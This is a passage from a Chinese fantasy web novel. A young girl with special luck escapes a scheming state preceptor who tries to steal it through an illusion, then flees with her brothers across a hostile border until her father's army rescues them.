他声音温和:“七殿下不必担忧,朕即刻下旨,封锁全城,张贴皇榜,就是掘地三尺,也定将仙使平安寻回!”
很快,盖着玉玺的皇榜便贴满了天启城的大街小巷。
萧泽回到驿馆。
萧二满脸都是失望:“驿馆的人说,姬峰和青青天不亮就动身回西卢了。”
萧宁珣摇了摇头:“我们寻遍了驿馆周围所有的地方,都没有找到,根本没人见过团团。”
萧宁辰起身,眼神冰冷:“我去国师府。”
这一次,萧宁珣和萧泽都没有再阻拦。
所有人全心知肚明,团团失踪,巫罗的嫌疑最大。
萧宁辰手持长剑,站在了国师府门前。
国师府大门敞开,一个道人态度谦卑地将他们迎了进去。
“国师大人正在闭关,无法见客。”
“至于仙使失踪之事,我等一概不知。”
“诸位若不信,可自行在府中查看,我等绝不阻拦,只求能还我国师府一个清白。”
几人带着护卫走入国师府,将偌大的府邸从头到尾仔仔细细找了一遍,连那个团团曾经去过的地下甬道都进去搜了。
没有。
什么都没有。
根本没有团团的身影,甚至连一丝她曾经来过的痕迹都没有。
整个国师府干净得像一张白纸,仿佛所有的污秽都在一夜之间被彻底抹去了。
巫罗连面都没露,便用这种彻头彻尾的坦荡,将他们的质疑和愤怒,变成了一拳打在棉花上的憋屈感。
回到驿馆,所有人都沉默了。
皇榜贴了,城门封了,能找的地方都找了,最大的嫌疑对象也“洗清”了。
能动用的力量都用了。
但显然,对手早已算无遗策,将他们所有的路都堵**。
团团,你到底在哪里啊!
萧宁辰一拳狠狠砸在墙壁上,坚硬的青砖瞬间裂开,手背上鲜血淋漓,他却感觉不到丝毫疼痛。
萧宁珣仔细思索:“二哥,我想来想去,最有可能对团团下手的,还是巫罗。”
萧泽点了点头:“咱们不妨这样,就去国师府门口守着,不必再有顾忌。但凡听到动静,便冲进去。团团如此聪明,定不会束手待毙的。”
萧宁辰眼睛一亮:“走!所有人都去!咱们是大夏使团,明面上他们不敢公开动手,人越多越好!”
“好!”萧二转身便向外走去
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国师府,密室中。
地上那个以鲜血绘就的庞大阵法上,纹路繁复诡谲,丝丝缕缕的黑气如同活物般在里面蜿蜒游动。
团团安静地躺在阵法中央,双眼紧闭。
巫罗盘膝坐在她身旁,眼中充满狂热。
他痴迷地注视着团团,目光贪婪。
“你终于落到我手里了。”
“你的气运如此精纯磅礴,待我将其尽数吸纳,莫说这凡间的一切将会尽由我掌握,便是窥探长生,位列仙班,亦非虚妄!”
他不再犹豫,取出一张暗紫色的符箓,口中念念有词。
指尖一抖,符箓无火自燃,化作一道紫黑色的流光,直射团团眉心!
但那流光在触及团团额头的刹那,瞬间分散消失,连一丝痕迹都未曾留下。
巫罗冷哼一声,又从袖中取出一个巴掌大的漆黑葫芦,拔开塞子,“噬运鬼煞,去!”
一股黑烟从葫芦中喷涌而出,化作无数张扭曲哀嚎的鬼脸,呲牙咧嘴地向团团扑去。
无数鬼脸发出凄厉的尖啸,缠绕在团团身旁,想从七窍钻进去。
然而,它们刚碰到团团,便瞬间便发出了无数惨叫,四处逃窜,转眼踪迹全无。
巫罗的脸色沉了下来。
他又接连尝试了几种方法,但无论是以秘法催动的“夺运针”,还是自己精心淬炼的“转**”,无一例外,全部失败。
这看似毫无防备的五岁幼童,竟让他的手段毫无用武之地!
巫罗的眼神更加疯狂:“既如此,那贫道便以身入局,让你心甘情愿地将所有气运全都献给我!”
他深吸了口气,逼出一口心头精血,喷在面前的一盏油灯上。
灯焰“噗”的一声窜起,由昏黄渐渐转为幽蓝。
巫罗双手结印,催动周身法力,全部注入了那幽蓝的灯焰之中。
他的脸色肉眼可见的灰败下去,但眼神却亮得骇人。
“以我精魂为引,筑尔心中幻境。”
“黄粱一梦,万象由心,开!”
那幽蓝色的火焰瞬间光芒大盛,照亮了整个密室,将他自己连同阵法中央的团团一起,彻底吞没。
第196章 把我举得高高的吧
“爹爹!娘亲!大哥哥!我回来啦——!”
马车刚刚停下,团团便蹦了下去,撒腿跑进了宁王府。
清脆欢快的叫声响彻府中。
团团一路飞奔过熟悉的庭院,扑进了程如安早已张开的怀抱中。
“团团!娘的团团!你总算回来了!”程如安紧紧搂着女儿,喜极而泣,不断亲吻着她的发顶。
萧元珩闻声也急忙赶了过来,伸出大手轻轻抚摸着女儿的小脑袋:“平安回来就好。”
萧宁远快步跑了进来,将她一把抱起:“让我掂掂,小团团这趟出远门是不是瘦了。”
萧宁辰和萧宁珣走了进来:“她才没瘦呢!一口都没少吃!”
团团瞪了他们一眼,伸出小手拉程如安:“娘亲!别听他们的。我出去这么久,没有你亲手做的好吃的,当然会瘦啦!”
程如安抹了抹脸上的泪水:“娘亲这就亲自下厨,给你做几道你爱吃的菜!”
团团甜甜一笑:“谢谢娘亲!娘亲最好啦!”
萧宁辰和萧宁珣相视一笑,还是妹妹最懂得如何哄母亲开心。
当晚,全家人一起吃了一顿团圆饭,连夏老夫人都过来了,席间,众人听着团团叽叽喳喳地讲述这次在大夏的种种经历,津津有味。
萧元珩感叹道:“未料此行居然如此凶险,好在你们同心协力,这么多难关,都闯过来了。”
程如安听得心惊肉跳:“团团啊,听娘亲的话,以后可不能再走这么远,这么久了。娘亲天天惦记着你,觉都睡不好。”
团团赶紧走了过去,抱着她安慰:“娘亲不怕,坏蛋就是坏蛋,不会赢的嘛!”
萧宁珣接口:“团团说得对!自古邪不压正,为善者终能战胜作恶之徒。”
团团用力点头:“就是!就是!”
数日后,萧元珩下朝回府,脸色凝重。
程如安一看便知有大事发生,急忙问道:“王爷,出什么事了?”
萧元珩看向妻子:“大夏陈兵边境,索要传国玉玺,陛下不准。今日边关八百里急报,苍岩关已失守了。”
他顿了顿:“陛下命我与辰儿,率二十万大军,驰援边关。”
程如安闻言,脸色瞬间变白。
她强压住心中的担忧与不舍,转身而去:“妾身去为王爷准备出征的行装!”
整个宁王府瞬间忙碌起来。
团团跟在娘亲身后跑来跑去,帮着娘亲收拾父兄要带的东西。
萧元珩一身戎装,先去了听雨阁,在夏老夫人面前撩袍跪下,重重磕了一个头:“母亲,儿子奉命出征,不能在膝前尽孝了。万望母亲保重身体,勿要挂念。”
夏老夫人红了眼眶,扶起儿子:“一定要平安归来。”
府门外,车马齐备。
萧元珩将团团紧紧抱在怀中,团团搂着父亲的脖子:“爹爹,你和二哥哥要快点打完坏蛋,早点儿回家。”
“好,爹爹答应你。”萧元珩亲了亲女儿的小脸蛋,将她交给妻子。
萧宁远和萧宁珣一起行礼:“祝父亲、二弟(二哥)旗开得胜,早日凯旋!”
萧宁辰重重点头,和父亲一起翻身上马。
程如安终究没能忍住,泪水滑落脸颊,声音哽咽:“元珩,辰儿,你们万事小心。”
萧元珩深深看了妻子一眼,转身喝道:“出发!”
接下来的数日,团团每日都要跑到府门口张望片刻,盼着能看到爹爹和二哥回来的身影。
前方战报如雪片般飞回京城。
“我军小胜,收复失地!”
“敌军反扑,我军战败!”
牵动着宁王府每一个人的心。
程如安肉眼可见地瘦了下去,连夏老夫人的饭量都减了不少。
这一日,一骑快马带来了一个让所有人魂飞魄散的消息,宁王萧元珩亲率精锐突袭敌后,却中伏被围,虽冒险突围,但身负重伤,昏迷不醒,性命垂危!
程如安眼前一黑,险些晕厥。
“我要去找爹爹!”团团一把拉住萧宁珣的手,“三哥哥,我们和二叔叔一起去!咱们一起去救爹爹!”
“胡闹!”程如安泪如雨下,“千军万马的,你一个小孩子去能做什么!”
“娘亲!”团团扑到母亲怀里,“让我去吧!爹爹受伤了啊!我
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一定要去找他!”
萧宁珣看着妹妹,又看了看悲痛欲绝的母亲:“母亲,团团的本事,您我都清楚。”
“我和萧二带着她去,快马加鞭,直奔大营,不会出意外的。父亲如今情况危急,团团如果能去,没准儿真能帮得上忙。”
程如安颤抖着双手,将女儿紧紧搂在怀里,声音破碎:“好,娘亲让你去。一定要把你爹爹平安带回来。”
“嗯!娘亲放心吧!”团团用力点头。
事不宜迟,萧宁珣和萧二带着团团,点了几名王府的精锐,轻装简从,一路换马不换人,风驰电掣地赶往边关。
连日奔波,风尘仆仆。
当一行人终于抵达中军大营时,团团已是疲惫不堪。
他们被径直引至主帅大帐。
帐内弥漫着浓重的血腥气和草药味。
萧宁辰眼眶深陷,默默地坐在榻前。
看到他们进来,他猛地站起,声音顿时哽咽:“三弟!团团!你们……”
“二哥哥!爹爹怎么样了?”团团直接扑到了榻边。
只见萧元珩静静地躺在那里,脸色灰败,唇无血色,胸前缠着厚厚的,被鲜血渗成了暗红色的纱布,气息微弱。
“爹爹。”团团小心翼翼地伸出小手,摸了摸父亲的脸庞,眼圈瞬间就红了。
萧宁珣跪在父亲榻前,泪水滑落:“父亲!”
他看向萧宁辰:“医官怎么说?”
萧宁辰摇了摇头:“敌军阴狠,设下圈套早有准备,父亲胸前中了两箭,伤口本就极深,箭上还淬有奇毒。医官验过了,却辨不出是何毒物,无法解毒。”
团团心疼极了,爹爹伤得好重啊!怎么办呀!
试试上次治好二哥哥的办法?应该管用。
可是,上次治好二哥哥的腿时,娘亲说自己便昏睡了整整两日。
这一次,不知道又要睡多久了。
如果睡得太久,就再也见不到哥哥们了。
她想了想,走到萧宁辰面前,伸开了小胳膊:“二哥哥,把我举得高高的吧!”
萧宁辰一怔,随即板起了面孔:“不行,团团,太危险了。”
第197章 这就更不对了啊
团团愣住了。
不对啊!二哥哥明明最喜欢把我扔得高高地再接住啊。
他从来都不会这样说!
以前明明还比赛过看谁能把我抛得最高!
除非,他根本不是二哥哥!
那他是谁呢?
她默默地走到萧元珩榻前:“二哥哥,三哥哥,二叔叔,我要试试能不能救爹爹,你们先出去好不好?”
几人互相看了一眼,萧宁辰招了招手,帐中的所有人都默默退出了大帐。
这就更不对了啊!
我的哥哥们绝对不会这样的,他们只会担心我,守着我。
团团想了想,低头打开荷包,掏出了那个五彩丝线缠绕的线团。
楚渊的声音回荡在耳边:“若你身陷混沌,无法勘破的时候,便握紧它。它可为你点破那最精巧的虚妄,让你得见真相。”
团团将线团紧紧握在手心里,无数道清凉的气息顺着手臂瞬间如潮水般涌入脑海。
眼前的景象如流水般剧烈晃动、扭曲起来!
军营的大帐、昏迷的父亲、……一寸寸剥落、碎裂!
终于,她看清了。
哪里有什么军营大帐?
这是什么鬼地方?
她睁开双眼,坐了起来。
盘坐在她面前的,正是大夏国师巫罗!
他满脸近乎癫狂的期待,闭着眼睛,双手虚按在空中,正在等着她心甘情愿献出自己的全部气运!
团团攥紧了手中的线团,眼底第一次燃起了熊熊怒火。
坏蛋!你骗我!
你用爹爹来骗我?!
偷气运偷到我头上了?
你这么想要我的气运?
好,那咱们就试试,看看到底谁能拿走谁的!
团团将线团放回荷包,伸出两只小手,握住了巫罗的双手。
巫罗顿时狂喜,翻手用力抓住了她的手。
仅过了片刻,他脸上的表情凝固了,迅速变成了惊骇。
不对!
不是他预想中的,那应该流入他体内的磅礴气运。
而是一股霸道无匹的吸力,自那双柔软的小手中轰然爆发!
不是他在吸取,而是他苦修了数十载的修为、乃至他所有的本源气运,如同决堤的江河,不受控制地倒灌而出,疯狂涌向团团!
“不!停下!这不可能!停下来啊!”巫罗发出凄厉的尖叫,疯狂想甩开团团的手。
但那小小的手掌却如同精铁铸就,任凭他如何用力,竟然纹丝不动!
他清晰地感受到自己的力量在飞速流逝,乌黑的发丝从发根开始,寸寸变得灰白。
“你!你做了什么?”他全身酸软,仿佛被抽走了所有的筋骨,最终“噗通”一声瘫软在地上。
团团这才松开了手,站了起来。
“坏蛋!你做的梦,一点都不好玩!”
巫罗瘫在地上,大口喘着粗气。
他死死地盯着团团,声音颤抖:“你怎么可能勘得破我的黄粱一梦!那是我心头血所筑,绝无破绽!”
团团低下头,再次从荷包里,掏出了那个五彩丝线缠绕的线团,递到他眼前。
“因为这个呀。”
巫罗仿佛看到了世间最恐怖的东西,瞳孔骤缩,脸上血色尽褪,难以置信地大喊:
“五行牵机术?师兄!难道是你?这是谁给你的?”
团团回道:“我们烈国的国师楚渊啊!”
“他可是个好国师哦!不像你,净做坏事!”
“楚渊?楚渊……”巫罗脸上的惊骇渐淡,“原来他叫楚渊。”
团团突然想起了什么:“哦!对了,他还有一个名字,叫林川。”
“林川?真的是他?他竟然还活着?”
“原来你认识他啊?”
巫罗气息奄奄,没有回答。
团团蹲下身,伸出小手指,戳了戳巫罗灰败的大脸。
“喂,坏蛋国师,你把我关在这里,我的哥哥们肯定都急坏了,我怎么出去啊?”
巫罗不语。
团团在密室中走了一圈,找不到大门,除了一个油灯,什么都没有,
她拿起油灯:“这是你的吗?”
巫罗眼神涣散,微微摇头,完全没有了对抗团团的心思和能力。
团团笑了:“那就是没人要的东西了?”
她拿起油灯,扔向地面:“让他听我的话!”
微光一闪,油灯没有落在地面,而是在空中消失不见。
瘫在地上的巫罗猛地抽搐了一下,随即,他僵硬地、如同提线木偶般,缓缓从地上站了起来。
团团拉起他的手:“带我出去,找我哥哥。”
巫罗领着她,步履蹒跚地走到一面墙前,轻轻一
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推,墙壁向外移开。
原来门在这里啊。
团团握着他的手,跟着他走了出去。
府中的道人和侍卫惊讶地看着满头白发的巫罗,领着列国仙使,大摇大摆地往大门走去。
没有人敢多问一句,生怕触怒了国师,自己的小命便会不保。
国师府外。
萧宁辰正如同一尊杀神,持剑立在大门前,眼中布满了血丝,周身散发的戾气让偶尔路过的百姓都不敢靠近,纷纷绕道而行。
萧宁珣和萧泽站在他身旁,萧二带着护卫们守在大门两侧。
虽然只有十几个人,却如同千军万马,将国师府的大门围得死死的。
所有人的眼睛都紧紧地盯着眼前的大门。
“吱呀”一声。
大门从里面被人缓缓拉开了。
众人瞬间绷紧了神经,率先走出来的,正是国师巫罗!
萧宁辰猛地上前一步,伸手便抓住了巫罗的衣领:“你把我妹妹弄哪儿去了?”
“二哥哥!”团团从巫罗的身后探出了小脑袋。
看到了哥哥们,她满脸笑容灿烂:“二哥哥!三哥哥!大三哥!二叔叔!你们都来啦,我在这里呀!”
团团!
她真的出来了!而且还是巫罗亲自送出来的!
所有人都愣了一瞬。
“团团!”
萧宁辰第一个反应过来,将巫罗如垃圾般丢开,一把将妹妹捞进怀里,紧紧地抱住了她。
他上上下下仔细摩挲,声音颤抖:“没事吧?他有没有伤着你?”
“我没事呀,二哥哥,”团团搂住他的脖子,拍了拍他的背,“我好着呢!”
萧宁珣和萧泽也立即围了上来,惊疑不定地看着呆呆地坐在地上,失魂落魄的巫罗。
萧宁珣奇怪:“他头发怎么白了?”
团团看了一眼巫罗,撇了撇嘴:“他想偷我的东西,没偷成,就变成这样了。”
巫罗的身体猛地一颤,眼中突然有了神采,随即两眼一翻,直挺挺地向后倒去,“砰”的一声砸在地上,彻底昏死过去。
“走!回烈国!”
虽然不清楚发生了什么,但巫罗在大夏的地位举足轻重,如今变成了这个模样,大夏皇帝得知,定不会善罢甘休。
萧宁辰当机立断,必须迅速离开大夏!
第198章 就地格杀,一个不留
半日后,格桑宫。
公孙驰刚批完奏折,正端着一盏参茶低头欲饮。
内侍连滚带爬地冲了进来,扑通一声跪倒在地:“陛、陛下!国师府!国师府急报!”
公孙驰放下茶盏:“何事惊慌?”
“国师大人他昏迷不醒!气息微弱!”
“府中道人说,约莫半日前,国师亲自将那位烈国仙使送出府门,当时他须发尽白,面容枯槁,如同……如同瞬间老了几十岁!随后便倒地不起!”
“什么?!”
“他们已请了太医署院正亲自诊治,施针用药皆不得其法,国师大人始终昏迷不醒,束手无策,这才,这才来惊扰陛下!”
公孙驰猛地站起,案上的茶盏被袖风带倒,泼了一桌!
那张从来不苟言笑的脸上,终于变了颜色,满脸难以置信。
巫罗的本事,他再清楚不过!
一直以来,都是他掌控朝局、图谋大事的最大倚仗!
竟然在自家府邸,被一个烈国的小丫头弄得昏迷濒死?
怎么会?
“废物!”公孙驰惊怒不已。
他缓缓坐回龙椅,眼中寒光凛冽。
止儿已废,替身的女童也全部不见,国师今后还能否再用,看来也未可知。
那烈国仙使竟然如此厉害?
绝不能让她回到烈国!
片刻后,他恢复了帝王的冰冷与决断:
“传朕旨意。”
“命隐卫即刻出动,追回烈国仙使,不可伤她,将她带回天启城来,其他一概人等不必顾忌。”
“若追至边境仍未能将其擒获……“
他停顿了片刻:“就地格杀,一个不留。”
朕的国都,岂是你们想来便来,想走便走的地方!
若留不下你的气运,便将性命给朕留下!
绝不能放虎归山!
“是!”
烈国众人甚至都没有折回驿馆去取行李车马,而是直接在就近的集市上买了最快的马,朝着天启城城门疾驰而去。
他们不敢再走官道,一头扎进了人迹罕至的小路之中,向着边关全速前进。
次日夜晚,一处渡口。
湍急的河水边,众人好不容易找到一条小船。
“快上船!”
萧二背着团团率先跳上了上去。
几道黑影突然自岸边的树上扑了下来,他们目标明确,几双大手直取萧二身后的团团。
萧宁辰拔出长剑舞成一团光影,却被两个不要命的黑衣人缠住,剑锋划破了对方的衣衫,溅出鲜血,他们却恍若未觉。
萧泽和萧宁珣带着护卫将萧二和团团围在中间,更多的黑衣人出现,形成了外围的包围圈,招招致命,意图突破重围。
小船颠簸,敌众我寡,形势危急。
“咻!咻!咻!”
几声轻微的破空声自河边的芦苇丛中响起!
无数个乌黑的铁莲子精准地打向外围的黑衣人。
“啊!”“啊!”
数名黑衣人措手不及,应声倒下。
最初的几个黑衣人瞬间慌乱,萧宁辰和萧二趁机联手将他们砍倒在剑下。
“咻!”
又一枚铁莲子破空而来,目标却不是人,而是系在船头的缆绳!
“啪!”绳索应声而断。
小船瞬间被湍急的水流推离岸边,迅速滑向河水的中央。
众人脱险,惊疑不定。
追兵不用问,肯定是大夏皇帝的人,那出手相助的又是谁?
萧宁珣想了想:“应该是那位送信的神秘人吧。”
团团从萧二的背后抬起小脑袋:“好人叔叔?他还在啊!”
三日后,黄昏,一个荒村,残垣断壁间。
数十个黑衣人手持钢刀,从四面八方围拢过来,招式狠辣,刀刀直逼要害!
更有火箭“嗖嗖”射向旁边的茅屋,火苗瞬间窜起。
萧泽挥剑挡开一支流矢:“护好团团!”
萧二依旧背着团团,同萧宁辰和萧宁珣一起且战且退,身上已添了几道血痕。
对方人数众多,配合默契,逐渐将他们逼入了死角。
“咻——!”
破空声响起
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,来自村外的一处断墙之后!
精准无比地穿透了带头黑衣人的咽喉!
他瞪大了眼睛瞬间扑倒在地。
“咻!咻!咻!”
又是接连几箭,从同一个方向射出,更多的黑衣人应声而倒,一击毙命!
“有埋伏!”
“小心后面!”黑衣人纷纷大喊。
紧接着“砰”的一声轻响,一个黑乎乎的东西被人从远处抛向黑衣人中间,瞬间爆开了大团黄色浓密的烟雾,彻底遮蔽了视线。
“走!”
萧宁辰一声令下,众人毫不犹豫,冲出包围,跑向村外茂密的林地中。
之后众人数次遇险,皆是在紧要关头,被神秘箭矢或暗器所救。
终于,这日清晨,众人来到了大夏边关最后一座小城。
雁归城。
此地鱼龙混杂,往来的商队、脚夫、江湖客络绎不绝。
众人商议后,决定分批混入城中。
按照事先的约定,进城后,他们在城中最大的集市中悄无声息地汇合。
这是一个由无数的简单帐篷和各色摊位组成的集市。
人声鼎沸,嘈杂喧嚣。
萧宁珣扫视四周:“灯下黑。他们绝不会想到,咱们敢在这里藏身。”
集市上叫卖声、讨价还价声、牲口嘶鸣声交织成一片,无人会在乎几个匆匆过客。
团团趴在萧二的后背上,满脸好奇的左右张望着。
萧二高大的身躯将她遮得严严实实的,眼神时刻警惕着周围。
突然,一个身穿普通烈国商人服饰,头戴遮阳斗笠的男子,不紧不慢地朝他们走来。
那人身形挺拔,步伐沉稳,脸上浓密的络腮胡遮住了大半张脸,只露出一双沉静的眼眸。
萧宁辰的手无声地按上了剑柄,萧泽跨步上前,来到萧二身边,将团团挡得纹丝不露。
那人在他们面前站定,目光盯在萧二身上,萧二浑身一紧,反手放在了团团的后背上。
那人微微一笑:“我送你的玉骨哨,可还带在身上?团团。”
第199章 这个模样不好
团团的小脑袋猛地探了出来,大眼睛瞬间瞪得溜圆,满脸惊喜:“汪叔叔!”
萧二一惊,仔细看去,尽管,皮肤黑了,胡子不对,但依旧能够分辨,确实是王爷的那位多年旧交汪明瑞不假!
他顿时浑身一松,抱拳行礼:“汪先生!”
萧宁珣和萧宁辰兄弟两人也认了出来:“汪叔!”
唯有萧泽不明所以,萧宁珣赶紧给他解释:“汪叔乃我父亲旧交。”
萧泽点了点头,是友非敌便好。
团团小脑袋一歪,想了想,恍然大悟:“原来是你啊!汪叔叔,就是你一直给我留的信对不对?”
众人回头一想,竟然是他!也只能是他!
是他一路指引,数次留信给团团客官,是他提前示警,让他们躲过了宫宴上的陷阱,更是他一路出手,众人才能平安到达这里。
汪明瑞微微颔首,言简意赅:“此地不宜久留,跟我来。”
他转身便走,众人立刻跟上。
穿过几条狭窄的背街小巷,汪明瑞在一处破旧的院落前停下,敲了敲门。
门应声而开,一个伙计打扮的高个汉子将他们引入院内。
院内陈设简单,却干净整洁。
众人走入屋中落座,团团终于可以下地走走了,高兴得不得了,在屋子里不停地溜达。
汪明瑞拿出一摞纸张:“我已备好了几份通关文书,你们扮作我商队的伙计,明日清晨,随队出关。”
众人的心一下都落在了肚子里。
终于有办法可以出关了!正发愁呢!
团团更是兴奋:“太好啦!明日就可以回家啦!”
她小跑着扑到汪明瑞的身上:“汪叔叔你真好!就是,这个模样不好,好丑哦!”
汪明瑞无奈一笑。
天色未明,雁归城还笼罩在一片灰蒙蒙的雾气中。
众人早已起床,改头换面,乔装打扮。
萧宁辰,萧二和护卫换上了粗布短打,脸上还刻意抹上了灰土,混在商队的伙计里,收敛起身上所有锋芒。
萧泽和萧宁珣扮作账房,穿着半旧的长衫。
目标最大的团团,则坐进了一个木箱。
木箱底部垫了软垫、侧面留了气孔。
混在几口同样装满布匹的大箱子中,毫不起眼。
“团团,怕不怕?”萧宁珣合上箱盖前,低声问了一句。
小团子拉过一堆布料盖在身上:“哥哥们都在,我不怕!”
萧宁珣微微一笑,将箱盖轻轻合拢。
汪明瑞依旧是昨日的商贾模样。
他仔细看了看众人,点了点头,轻轻挥手。
车队缓缓启动,融入了清晨出关的车流中。
所有的人和车队都要在关隘处经过边军的查检,确认无误后,方可出关。
出了关隘,便是烈国的疆土。
车队随着人流缓慢前移。
到了!
汪明瑞熟练地迎上前,与守门的边军寒暄了几句,塞过去一包沉甸甸的银钱,又奉上了几坛好酒。
那军士掂了掂手里的份量,脸上露出一丝满意的神色,手一挥:“赶紧查!人家还忙着赶路呢!别耽搁!“
几名军士一听,心领神会,随意地用枪杆捅了捅车上的货物:
“头儿,查过啦!没问题!”
那军士点了点头,懒洋洋地一摆手:“行了,走吧。”
众人心头狂喜,成了!
“驾!“车夫扬起鞭子,车轮缓缓转动。
“报——!”
众人心头一颤,抬头望去。
只见一骑快马如离弦之箭,从城内街道狂奔而至,马上之人汗透衣背,高举一枚令箭,大喊道:
“上峰有令!即刻起,封闭关隘!严禁出入!违令者,斩!”
那军士脸色骤变,“锵啷”一声拔出腰刀,厉声喝道:“停下!都停下!全都给我退回去!”
关隘内侧脚步声雷动,无数名顶盔贯甲的边军从两侧营房中蜂拥而出,刀出鞘,箭上弦,瞬间将整个关隘堵得水泄不通!
所有商队一片哗然,人喊马嘶,乱作一团。
“肃静!”一名军校见状跃到高处,“即刻起,关隘封闭!所有人退回原地,有擅动者,以奸细论处,格杀勿论!”
这是打算瓮中捉鳖了啊!
汪明瑞心中了然,他冲着众人使了个眼色,所有人立刻不动声色地收缩,将团团所在的骡
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车护在了中间。
“这位军爷,”汪明瑞上前一步,脸上堆起讨好的笑容,“您看,我们这文书都是齐全的,货物方才也查过了,便放我们出关吧,东家还急等着这批货呢。”
“以后我们这常来常往的,必亏待不了各位。”
“少废话!”那收了钱的军士此刻翻脸不认人,“没听见吗?关隘封闭,不许人进出!退回去!赶紧退回去!别给大爷我添乱!”
汪明瑞面露难色,心下盘算。
此时排在后面的车队都已逐渐退回了城中。
只剩下他们了。
退是不能退的,一旦回到城中,插翅难逃。
萧宁辰猛地从身旁的货物堆里抽出藏着的佩剑。
“锵啷!”
“噌!”
其余人同时暴起,瞬间将藏匿的兵刃全部握在了手中。
几人默契的身形交错,瞬间结成一个小型的战阵,将藏着团团的骡车死死护在了中央。
汪明瑞的伙计们也纷纷从马车夹层、货车底部抽出短刀、铁尺,在萧宁辰他们外围形成了又一重防护。
所有人手握利刃,与边军凛然对峙!
那守门的军士恼羞成怒,大声吼道:“反了!反了!他们还当真是烈国细作!给我拿下!格杀勿论!”
更多的边军嘶吼着涌了上来。
一场混战,一触即发!
正在此时,“呜——嗡——”
低沉苍凉的号角声传来,瞬间压过了所有的喧嚣!
所有人都是一怔,下意识望向关外。
只见远处的地平线上,滚雷般的马蹄声正以惊人的速度向着关隘席卷而来!
旌旗招展,旗上隐约可见一个巨大的“烈”字!
“烈国人杀过来啦!”
“关门!快关门!”
守军瞬间大乱!
刚刚收钱的军士脸色煞白,也顾不得汪明瑞等人了,声嘶力竭地指挥:“快!顶住门!弓箭手!上垛口!”
沉重的关门在绞盘刺耳的嘎吱声中,开始缓缓闭合!
“不能让他们关门!”
萧宁辰率领众人与守军战成了一团。
越来越多的守军涌了上来,眼看着门缝越关越小。
第200章 人家才不是小猪呢
“咻——!”
一道乌光伴随着破空声呼啸而至。
“噗嗤!”
正站在高处指挥着的守军军校低下头,难以置信地看着穿过自己胸口的狼牙箭矢。
他张了张嘴,却发不出任何声音,随即直挺挺地向后倒去,“砰”地一声砸在地上。
紧接着,一人一骑先行杀到。
萧宁辰和萧宁珣抬头望去:“父亲!”
正是宁王萧元珩!
箱子里的团团闻言推开箱盖钻了出来:“爹爹!”
萧元珩看着他们,笑了笑,大手一挥:“杀!”
无数烈国兵士潮水一般从车队旁冲了过去,涌入了关隘。
“杀啊——!!!”
铁蹄踏碎了关隘,刀锋闪耀,瞬间便淹没了仍在抵抗的守军。
失去了指挥的守军毫无斗志,迅速便被分割、剿灭。
萧元珩策马来到骡车前,俯身,长臂一揽,将刚从箱子里爬出来的小团子稳稳捞起,紧紧抱在怀中。
“爹爹!你来啦!”团团搂着父亲的脖子,高兴的不得了。
萧元珩大手轻轻拍着女儿的后背,遥望着整个战场。
战斗很快结束。
烈国大军未动百姓,只将雁归城参与围堵团团的守军,尽数诛灭,一个没留。
萧元珩抱着女儿,停在一个跪地投降,抖如筛糠的军士面前。
“留你一条狗命。”
“滚回去,告诉你们大夏皇帝。”
“这便是他胆敢妄动我烈国皇子和郡主的下场。”
他顿了顿:“如若不服,尽管来战!”
说罢,萧元珩调转马头,带领大军,向京城而去。
大夏,格桑宫。
一份八百里加急军报,呈到了御案上。
公孙驰目光平静地扫过上面的每一个字,雁归城关隘失守,守军被屠,宁王萧元珩留话……
他缓缓将军报合上,随手丢在了一旁。
“连一个稚子都拦不住,**倒也干净。”
他抬起眼,望向烈国的方向。
“萧元珩,你倒是生了几个好儿女。”
他提起笔,写下一封书信。
国师未醒,止儿也成了弃子,看来,这盘棋,要换个下法了。
他沉吟片刻:“来人,将信送到先生手中。”
“告诉他,该他落子了。”
“是。”内侍叩首领命,躬身退了出去。
公孙驰缓缓踱至窗前。
几千守军,一个儿子,国师生死难料,损失不可谓不小。
但只要执棋之手仍在,这局棋,便远未到终盘。
烈**营中。
大军行进了几日后,扎营休整。
团团在大帐中跑来跑去:“这才是我爹爹的大营嘛!那个坏蛋国师梦里的比这个差远啦!”
萧元珩听见就生气:“那个巫罗竟敢用我来蒙骗团团,真是罪该万死!”
萧宁珣点了点头:“他也算是煞费苦心了,可惜,机关算尽,还是被咱们团团识破了。”
团团眨了眨大眼睛:“回去我要好好谢谢国师哦!要不是他送我地线团,我就真的把我的一切,都送给那个坏蛋啦。”
萧宁辰点了点头:“是得好好谢谢国师。不过,咱们烈国地国师居然是大夏国师地师兄,这真是没有想到。”
团团不以为然:“我才不管他们谁兄谁弟呢,我只知道,楚渊国师是好人,巫罗国师是坏蛋!”
汪明瑞掀帘走了进来,卸去了伪装,恢复了他的本来样貌。
团团一见就呆住了,太好看啦!
“汪叔叔!”她颠颠儿得走到汪明瑞面前,拉起他得手把他牵到桌边坐下,悄咪咪得爬上了他的膝头。
仰起小脸望着他:“汪叔叔,你怎么这么好看啊!”
萧宁辰和弟弟互相看了一眼,都忍不住翻了个白眼。
汪明瑞微微一笑:“团团,你歇好了?不跟小猪一样成天喊困了?”
众人哄笑。
刚到军营时,团团因为一路逃亡,疲惫不堪,天天早上喊都喊不起来。
团团小脸一红,一头扎进了汪明瑞的怀里:“汪叔叔真坏!人家才不是小猪呢!”
萧元珩郑重抱拳:“汪兄,多谢你一路相助,否则这几个孩子,此行结果难料。”
汪明瑞抬手还礼:“就算你没有托付我,小团团曾经为了我去圣医谷求药,如今她身涉险境,我也定是要护着她的。”
他看了看萧泽,拱手行礼:“还未谢过七殿下,圣医谷一行,也有你的功劳。”
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>萧泽郑重回礼:“圣医谷我只是放心不下团团,同她一起走了一遭而已。但此次大夏之行,若无汪先生指点,我们不可能平安回到烈国,多谢了。”
“提到圣医谷。”萧宁辰皱起了眉头,”那个幽冥顶,汪叔,你知道多少?”
汪明瑞脸色一变:“你们从何而知幽冥顶?”
团团接口:“去大夏的路上啊!我们遇到了薛枝佑,他娘告诉我们的。”
见汪明瑞仍是一脸迷惑,萧宁珣连忙将在嘉木城如何救了薛晋一家,如何发现密室,如何听纪婉润提到了幽冥顶全讲了一遍。
汪明瑞点了点头:“原来如此。”
“我的人每次都是越过你们去一下站打探消息然后再遣人回去给你们送信。”
“他们赶到时你们已经进了嘉木城,他们便没有停留,所以我不知道你们在嘉木城的事。”
“我一直在追查这个幽冥顶,但他们做事周密,隐藏颇深,至今还未能将其查清。”
团团奇怪:“汪叔叔,你为什么要查他们啊?”
汪明瑞摸了摸她的小脑袋:“因为啊,我查到,我上次之所以**不醒,险遭不测,便是他们所为啊!”
“什么?”众**惊。
